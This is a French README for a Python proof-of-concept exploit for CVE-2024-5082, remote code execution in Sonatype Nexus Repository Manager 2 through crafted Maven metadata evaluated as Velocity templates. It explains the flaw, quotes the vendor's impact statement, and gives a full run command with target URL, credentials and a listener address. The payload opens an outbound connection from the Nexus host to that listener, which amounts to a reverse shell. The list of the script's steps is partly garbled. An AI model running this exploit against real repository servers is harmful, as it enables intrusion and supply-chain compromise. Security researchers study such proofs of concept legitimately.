
Preuve de concept d'exploitation pour CVE-2024-5082, une vulnérabilité d'exécution de code à distance dans Sonatype Nexus Repository Manager 2 via des artefacts Maven spécialement conçus et le traitement de modèles Velocity.
Ce dépôt contient une preuve de concept Python pour la CVE-2024-5082, une vulnérabilité d'exécution de code à distance dans Sonatype Nexus Repository Manager 2.
La vulnérabilité permet à un utilisateur disposant d'autorisations suffisantes de publier un artefact Maven spécialement conçu et de le marquer pour traitement par le générateur de contenu Velocity. Lorsque l'artefact est récupéré, le modèle Velocity intégré est évalué par Nexus et peut exécuter une commande dans le contexte de sécurité de la JVM Nexus.
Selon Sonatype :
La commande est exécutée sur l'hôte Nexus Repository.
Le simple téléchargement de l'artefact affecté depuis un serveur de build, un serveur d'application ou un poste de travail de développeur n'exécute pas en soi la commande intégrée sur ce système consommateur. Cependant, le compromission d'un gestionnaire de dépôt peut créer un risque plus large sur la chaîne d'approvisionnement si un attaquant modifie ultérieurement des artefacts de confiance, des entrées de build, des identifiants ou la configuration du dépôt.
Le script :
maven-metadata.xml spécialement conçu vers un dépôt hébergé sélectionné.velocity.La charge utile fournie crée une connexion TCP sortante depuis l'hôte Nexus vers l'adresse du récepteur configuré.
Le script actuel utilise l'authentification HTTP Basic et nécessite :
python3 cve_2024_5082.py \\
--base-url https://nexus.example.test/nexus \\
--repository security-test-snapshots \\
--username test-user \\
--password 'REDACTED' \\
--lhost LISTENER_IP \\
--lport 8000